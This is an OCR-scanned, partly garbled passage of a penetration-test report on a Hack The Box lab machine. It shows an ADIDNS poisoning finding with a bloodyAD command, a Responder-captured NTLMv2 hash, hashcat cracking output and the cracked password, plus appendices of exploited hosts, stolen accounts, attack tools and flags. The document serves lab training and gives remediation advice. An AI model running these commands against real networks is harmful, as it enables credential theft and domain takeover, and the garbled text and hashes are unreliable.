N4RYCG31bxUrIMXTCLSZ/ sV07d8+1bhBEI1rIiakRQ1dadAPKCa JCMNXT hHWF1002BbdszzV54f 1YWGESI9eUCFRKCN]/DF575hEbbIRS1Z5mSewTAGES SLGMPEFLnvpEmIH1ciQbY/AMIabyQotcI40S1aTYFKFYIFpHFtZ5] qu2plwimOK JuBSHBO61YZd FhkXkZeZnyzQ
S1WZPgPtrtuuk7A+2TeIKQHOIZFBnPIs77mERkB+1Fdg/CybPp8PrRhic3a08+Bqja22Uxk] rVOUNZPEBASLYSKF21993 Fp07 x7m+MV/moCO2ETVxpZSToHOy GDvSAR7IbpRz Y Hily WT4FCPT VA1 eZGSQBASD417 k72 IWLAQeS IbIX@ tNpudecqt 66qc LDFdfCvBToyHKny
aosmqaezNHyH\tQSCsurjqtotkTwsLykaEgn'FathlmﬁgaLkIEHBr&xlDEQHDLquzgsazmFEKAsMHutLxqugpsst;Ywnzin\uannwnqwsr]nuzAkszm]Gpasozigxxﬁ)woissRIvMSaru/gLACsakazwshEAHnsF1cJszCzizvxwzvtderiug7/+xWMwa
XL30udVXF inBjmr IbSCAPvAUHALeWVS3 JDncymL+ptTkeF3wuXiZSqzIvSiuizNGLXLB6Z7HFAALC/ LU+ LBOFLDIUKY FIXMKiGIWINKLOTueKZrVn+nYMigi cAXHM3QMEVZKRNU L PEG+e2DNR +08U+EJdCYACYIIwH7+3+0XlgcastyAek
GvSRwlAkSAMrzBHyZXYE)kY]QDquEJNfQBSerBQA7EBwZ‘JkllerZTyV10h\AluXPEhﬁgcnaWﬂGQErﬂng\lNgSanﬁQ\llKEEqu1thNqulYXdTFBPT/LsCuEETAQm‘WanlhvufDQ_Hr(RtAv(aEZﬁZde:|edNyKrNHMgAylgGEﬂN/A?qKSFSE/HZnLLuhGnJE/mTEEquS
TKxuEcQInmu6WrRgqsUHACRFpZTXK3dz8kYh/PF231SNAF zLENO+rmabrdZ6kFRHmIULn2woySuxkNxXTHNHKSSEe1m7RALTGOGEKTznhpoNs FRLGuMymb/X2Q1VQX I0KnKd+ sCMGLSesWGMUAAAAA® | base64 -d > florence.ccache
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11. ADIDNS Record Injection Enables NTLM Credential
Capture via Responder - Medium

CWE CWE-290 - Authentication Bypass by Spoofing
CVSS 3.1 5.7 / CVSS:3.1/AV:N/AC:L/PR:L/UL:R/S:U/C:H/I:N/A:N

Active Directory Integrated DNS allows authenticated domain users to create DNS
records in the zone by default. Using florence.ramirez's Kerberos TGT, a DNS A
record was created for pointing at the attacker's IP. An

Root Cause intranet forum post had established that was expected by at
least one domain user but had no existing DNS entry. When that user attempted to
resolve the hostname, Windows initiated an NTLMv2 authentication to the
attacker's Responder listener.

NTLMv2 hash captured for ([iEEINEEEIEY. Cracked offline to (S UET IPELEE).

Impact providing WinRM access, the user flag, and the domain foothold used for all

subsequent Active Directory exploitation.

Affected

ghost.htb ADIDNS — authenticated domain users can create arbitrary DNS records
Component

Restrict DNS record creation in the Active Directory Integrated DNS zone to
designated DNS administrator accounts. Remove the default
permission from the MicrosoftDNS container

Remediation in Active Directory. Monitor for new DNS record creation events (Event ID 5137)
and alert on records created by non-DNS-admin accounts. Enforce SMB signing
and LDAP channel binding to reduce the effectiveness of NTLM relay attacks even
if an NTLMv2 hash is captured.

https://www.netspi.com/blog/technical-blog/network-penetration-testing/adidns-

Referen -
clerences revisited/

Finding Evidence

Florence's TGT was used with bloodyAD to create the DNS record:

{base) i : )-[~/Documents/HTB_Boxes/retired/ghost]

—3 expo ﬁ° KRBSCCNAME Florence ccache

(base) —(parallels® kali-gnu-1lii 1023 )-[~/Documents/HTB_Boxes/retired/ghost]

—5 bloedyAD -d ghost.htb -k —host DC@l.ghost.htb add dnsRecord bitbucket 10.10.16.6@

[+] bitbucket has been successfully added

Responder captured the NTLMv2 hash from justin.bradley shortly after:

Sendmg NTLM authentication request to 10.129.231.105
F from: :: ffff:10.129.231.185 URL
NTLM 2 cl nt
NTLMv2 Username :
NTLMv2 Hash
1005100360043004100520!
04900500037004F002ER@4CO04F0Q.
0002FO06200690074006200750063
=

a59bBaa717607: E7B937886301730C100335: 66856 0101000000008000 FS8ACF4D84FADCA106A2DBB7BEFS10A200000000020008005900500037004F0001001E00570043005E002D0051005

3 4500500037004F0A2E005CODL 00430041004 u\o 3003400570049004 £002D025100410051003680430041005200510056004 C0036002£001 500500037004 FA02EQDLCUOAFODL 30041004 C000500140
41004C00030030003 8BC4ALCBEFA24083A598F460DF4CE8DF7827639203CEFEC6EQ9D73018EFEELI80AQ01
5800650074002E00670068006F00730075002E006500740062000000000000000000

Hashcat (mode 5600) cracked the hash to Qwertyuiop1234$$:
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joeaprimeradiant:-§ hashcat —m 5600 hash.txt rockyou.txt
hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

Failed to initialize NVIDIA RTC library.

* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
CUDA SDK Toolkit required for proper device support and utilization.
For more information, see: https://hashcat.net/fag/wrongdriver

Falling back to OpenCL runtime.

OpenCL APT (OpenCL 3.8 CUDA 13.8.98) - Platform #1 [NVIDIA Corporation]

* Device #01: NVIDIA GeForce RTX 2080 Ti, 10820/10820 MB (2705 MB allocatable), 68MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: ©
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:

* Zero-Byte

* Not-Iterated
* single-Hash

* Single-salt

ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -0 to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 1242 MB (14223 MB free)

Dictionary cache hit:

* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

host:ebla59b8aa717607:e7b937886301730C10!

354922665/

0101000000000000f880cf 4d84fadc0106a2dbb7bef510a200000000020008004200500037004F0001001005700490042002000510041005100360043004100520051

36000400140049005000370041002e004c00400430041004C000300345005700490042002d0051004100510036004300510052005 00 4£00; 4C004f00430041004C00050014005900500037004 00200400
4f00430041004c0008003000 akbabchahzmsaaTW 639203cefec6ed9d73018efee180a001 2f00620069007400620075
0063006b00650074002200670068006T007300740022006800740062000000000000000000 | Quertyuiop12343$$
Session..........: hashcat
status.. : Cracked

Hash.Mode.
Hash.Target
Time.Started...
Time.Estimated .
Kernel .Feature .
Guess.Base.
Guess.Queue
Speed. #01.
Recovered.

5600 (NetNTLMv2)

JUSTIN.BRADLEY :: ghost :eb1a50b8aa717607 : e7b937886301 ... 000000
Fri Jun 12 16:02:20 2026 (1 sec)

Fri Jun 12 16:02:21 2026 (@ secs)

: Pure Kernel (password length ©-256 bytes)

File (rockyou.txt)

1/1 (100.00%)

: 38590.9 kH/s (6.66ms) @ Accel:626 Loops:1 Thr:64 Vec:1

1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
10897408/14344384 (75.97%)

5 /10897408 (0.00%)
Restore.Point....: 8173056/14344384 (56.98%)
Restore.Sub.#01..: Salt:0 Amplifier:@-1 Iteration:
Candidate.Engine.: Device Gemerator
Candidates.#01...: fath181099 — Movely
Hardware.Mon.#@1.: Temp: 32c Fan: 30% Util: 16% Core:1350MHz Mem:6800MHz Bus:16
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A Appendix

A.1 Finding Severities

Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range
Critical 9.0-10.0
High 7.0-8.9

Medium 4.0-6.9
Low 0.1 -3.9
Info 0.0
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A.2 Host & Service Discovery

IP Address Service Notes

10.129.231.105 DNS Simple DNS Plus

10.129.231.105 HTTP Microsoft HTTPAPI httpd 2.0 — 404 only
10.129.231.105 Kerberos = Microsoft Windows Kerberos

10.129.231.105 RPC Microsoft Windows RPC

10.129.231.105 NetBIOS Microsoft Windows netbios-ssn

10.129.231.105 LDAP Microsoft Windows AD LDAP (Domain: ghost.htb)
10.129.231.105 HTTPS

10.129.231.105 SMB Microsoft SMB

10.129.231.105 kpasswd Kerberos password change

10.129.231.105 RPC/HTTP  Microsoft Windows RPC over HTTP 1.0

10.129.231.105 LDAPS Microsoft Windows AD LDAP

10.129.231.105 MSSQL Microsoft SQL Server 2022 16.00.1000.00 RTM
10.129.231.105 LDAP GC Microsoft Windows AD LDAP — Global Catalog
10.129.231.105 LDAPS GC = Microsoft Windows AD LDAP — Global Catalog
10.129.231.105 RDP Microsoft Terminal Services

10.129.231.105 WinRM Microsoft HTTPAPI httpd 2.0

10.129.231.105 HTTP nginx 1.18.0 (Ubuntu) — Ghost CMS + intranet
10.129.231.105 HTTPS nginx 1.18.0 (Ubuntu) — Ghost Core (SSL CN: core.ghost.htb)
10.129.231.105 mc-nmf .NET Message Framing
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A.3 Subdomain Discovery

URL Description Discovery Method
ghost.htb Main domain — DCO1

intranet.ghost.htb:8008  Next.js intranet — LDAP login Vhost fuzzing on port 8008
gitea.ghost.htb Gitea source control Intranet news post
federation.ghost.htb ADFS federation service Ghost Core login redirect
core.ghost.htb:8443 Ghost Core admin panel SSL certificate SAN (8443)

corp.ghost.htb Secondary domain — bidirectional trust Ghost Core admin panel UI
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A.4 Exploited Hosts

Host

intranet.ghost.htb
(10.129.231.105)

ghost.htb:8008
(10.129.231.105)

intranet.ghost.htb:8008
(10.129.231.105)

dev-workstation (via
Docker)

DCO1.ghost.htb
(10.129.231.105)

DCO01.ghost.htb
(10.129.231.105)

DC01.ghost.htb
(10.129.231.105)

PRIMARY.corp.ghost.htb

PRIMARY.corp.ghost.htb

DC01.ghost.htb
(10.129.231.105)

Joe Thompson

Scope

Extern
al

Extern
al

Extern
al

Interna
|

Interna
[

Interna
[

Interna
|

Interna
[

Interna
[

Interna
|

Method
LDAP injection auth bypass

Ghost CMS path traversal —
DEV_INTRANET_KEY

OS command injection on /api-
dev/scan

SSH ControlMaster socket hijack

ADIDNS poisoning + Responder

WInRM as justin.bradley

GMSA read + ADFS Golden SAML

MSSQL linked server xp_cmdshell

EfsPotato SelmpersonatePrivilege

Cross-domain golden ticket SID
history

Ghost

Notes

Authenticated intranet
access

Key used for command
injection

Root shell inside Docker
container

Florence Ramirez TGT
stolen

justin.bradley NTLMv2
captured

User flag; BloodHound
collection

Ghost Core admin
panel access

Shell as nt
service\mssqlserver

SYSTEM on
corp.ghost.htb

Root flag from
ghost.htb DC
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A.5 Compromised Users

Username Type Method Notes

Domain LDAP wildcard password

Gitea authentication
user oracle

gitea_temp_principal

D i H IM k
florence.ramirez omain S? ControlMaster socket ADIDNS record injection
user hijack — Kerberos TGT stolen

Domain NTLMv2 captured via
user Responder; cracked offline

GMSA
adfs_gmsa$ service ReadGMSAPassword via NXC
account

WInRM access; user flag

justin.bradley

ADFS token signing key
extraction; Golden SAML

Domain
Administrator@ghost.htb = administrat =~ Golden SAML token forgery Ghost Core admin panel
or

Service MSSQL linked server

account xp_cmdshell
NT AUTHORITY\SYSTEM EfsPotato Full corp domain control;

(corp.ghost.htb) SYSTEM SelmpersonatePrivilege DCSync

nt service\mssqlserver corp.ghost.htb foothold

Administrator@ghost.htb Dom.a|.n Cross-domain golden ticket Root flag on
administrat

(via golden ticket) or with SID history DCO01.ghost.htb
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A.6 Changes/Host Cleanup

Host Scope Change / Cleanup Needed
ghost.htb DNS ADIDNS Remove injected A record for bitbucket.ghost.htb

PRIMARY.corp.ghost.ht  C: Remove nc64.exe, EfsPotato.exe, mimikatz.exe,
b \Windows\Temp  Rubeus.exe

PRIMARY.corp.ghost.ht
b

ghost.htb /
corp.ghost.htb

MSSQL Disable xp_cmdshell if not operationally required

Kerberos Rotate krbtgt passwords twice in both domains
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A.7 Flags Discovered

Host Flag Value Flag Location Method Used

C:
\Users\justin.bradl
ey\Desktop\user.tx
t

DC01.g 6b5437250dab
host.nht 2e7d686f46b2a
b fa02648

LDAP injection — Gitea — path traversal —
cmd injection — SSH hijack — DNS poison
— Responder — hash crack — WinRM

DCO1.g 2df5246805269 \CL:Jsers\Administra BloodHound — GMSA — Golden SAML —
host.ht 619aaeed0608 MSSQL linked RCE — EfsPotato — cross-

tor\Desktop\root.t

b 6bcf99e
Xt

domain golden ticket
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End of Report
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